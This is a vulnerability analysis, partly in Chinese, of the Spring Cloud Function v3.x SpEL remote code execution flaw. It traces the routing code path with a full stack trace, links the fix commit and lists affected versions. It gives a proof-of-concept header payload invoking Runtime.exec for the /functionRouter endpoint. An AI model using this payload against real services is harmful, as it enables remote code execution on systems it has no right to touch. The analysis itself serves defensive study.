Spring Cloud Function v3.x SpEL RCE

# v3.2.0https://github.com/spring-cloud/spring-cloud-function/releases/tag/v3.2.0

spring-cloud-function-samples/function-sample-pojo

application.properties

/aaaa

spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc")

v3.2.0、v3.1.6、v3.0.9

application.properties

/functionRouter

spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc")

由于第1种已经有人分析了这里只分析第2种场景：默认配置+特定路由

https://github.com/spring-cloud/spring-cloud-function/commit/dc5128b80c6c04232a081458f637c81a64fa9b52

org.springframework.cloud.function.context.config.RoutingFunction#route

route:125, RoutingFunction (org.springframework.cloud.function.context.config)apply:85, RoutingFunction (org.springframework.cloud.function.context.config)doApply:698, SimpleFunctionRegistry$FunctionInvocationWrapper (org.springframework.cloud.function.context.catalog)apply:550, SimpleFunctionRegistry$FunctionInvocationWrapper (org.springframework.cloud.function.context.catalog)processRequest:100, FunctionWebRequestProcessingHelper (org.springframework.cloud.function.web.util)post:74, FunctionController (org.springframework.cloud.function.web.flux)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)invoke:62, NativeMethodAccessorImpl (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:498, Method (java.lang.reflect)lambda$invoke$0:144, InvocableHandlerMethod (org.springframework.web.reactive.result.method)apply:-1, 1875846925 (org.springframework.web.reactive.result.method.InvocableHandlerMethod$$Lambda$714)onNext:125, MonoFlatMap$FlatMapMain (reactor.core.publisher)complete:1816, Operators$MonoSubscriber (reactor.core.publisher)signal:251, MonoZip$ZipCoordinator (reactor.core.publisher)onNext:336, MonoZip$ZipInner (reactor.core.publisher)onNext:180, MonoPeekTerminal$MonoTerminalPeekSubscriber (reactor.core.publisher)onNext:101, FluxDefaultIfEmpty$DefaultIfEmptySubscriber (reactor.core.publisher)onNext:79, FluxOnErrorResume$ResumeSubscriber (reactor.core.publisher)onNext:127, FluxMapFuseable$MapFuseableSubscriber (reactor.core.publisher)onNext:107, FluxContextWrite$ContextWriteSubscriber (reactor.core.publisher)onNext:295, FluxMapFuseable$MapFuseableConditionalSubscriber (reactor.core.publisher)onNext:337, FluxFilterFuseable$FilterFuseableConditionalSubscriber (reactor.core.publisher)complete:1816, Operators$MonoSubscriber (reactor.core.publisher)onComplete:159, MonoCollect$CollectSubscriber (reactor.core.publisher)onComplete:142, FluxMap$MapSubscriber (reactor.core.publisher)onComplete:260, FluxPeek$PeekSubscriber (reactor.core.publisher)onComplete:142, FluxMap$MapSubscriber (reactor.core.publisher)onInboundComplete:400, FluxReceive (reactor.netty.channel)onInboundComplete:419, ChannelOperations (reactor.netty.channel)onInboundNext:590, HttpServerOperations (reactor.netty.http.server)channelRead:93, ChannelOperationsHandler (reactor.netty.channel)invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel)invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel)fireChannelRead:357, AbstractChannelHandlerContext (io.netty.channel)channelRead:264, HttpTrafficHandler (reactor.netty.http.server)invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel)invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel)fireChannelRead:357, AbstractChannelHandlerContext (io.netty.channel)fireChannelRead:436, CombinedChannelDuplexHandler$DelegatingChannelHandlerContext (io.netty.channel)fireChannelRead:324, ByteToMessageDecoder (io.netty.handler.codec)fireChannelRead:311, ByteToMessageDecoder (io.netty.handler.codec)callDecode:432, ByteToMessageDecoder (io.netty.handler.codec)channelRead:276, ByteToMessageDecoder (io.netty.handler.codec)channelRead:251, CombinedChannelDuplexHandler (io.netty.channel)invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel)invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel)fireChannelRead:357, AbstractChannelHandlerContext (io.netty.channel)channelRead:1410, DefaultChannelPipeline$HeadContext (io.netty.channel)invokeChannelRead:379, AbstractChannelHandlerContext (io.netty.channel)invokeChannelRead:365, AbstractChannelHandlerContext (io.netty.channel)fireChannelRead:919, DefaultChannelPipeline (io.netty.channel)read:166, AbstractNioByteChannel$NioByteUnsafe (io.netty.channel.nio)processSelectedKey:719, NioEventLoop (io.netty.channel.nio)processSelectedKeysOptimized:655, NioEventLoop (io.netty.channel.nio)processSelectedKeys:581, NioEventLoop (io.netty.channel.nio)run:493, NioEventLoop (io.netty.channel.nio)run:986, SingleThreadEventExecutor$4 (io.netty.util.concurrent)run:74, ThreadExecutorMap$2 (io.netty.util.internal)run:30, FastThreadLocalRunnable (io.netty.util.concurrent)run:745, Thread (java.lang)

org.springframework.cloud.function.context.config.RoutingFunction#route

org.springframework.cloud.function.context.config.RoutingFunction#functionFromExpression

org.springframework.cloud.function.context.config.RoutingFunction#FUNCTION_NAME

/functionRouter

org.springframework.cloud.function.web.util.FunctionWebRequestProcessingHelper#findFunction

org.springframework.cloud.function.web.util.FunctionWebRequestProcessingHelper#doFindFunction

org.springframework.cloud.function.context.FunctionCatalog#lookup(java.lang.String, java.lang.String...)org.springframework.cloud.function.context.catalog.BeanFactoryAwareFunctionRegistry#lookuporg.springframework.cloud.function.context.catalog.SimpleFunctionRegistry#doLookup

org.springframework.cloud.function.web.util.FunctionWebRequestProcessingHelper#processRequest

org.springframework.cloud.function.context.config.RoutingFunction#apply

org.springframework.cloud.function.context.config.RoutingFunction#route

# falseif (this.routingCallback != null) {...} # falseif (StringUtils.hasText((String) message.getHeaders().get("spring.cloud.function.definition"))) {...}# trueelse if (StringUtils.hasText((String) message.getHeaders().get("spring.cloud.function.routing-expression"))) {...}

v3.0.9

v3.1.6

v3.2.0

https://mp.weixin.qq.com/s/ssHcLC72wZqzt-ei_ZoLwg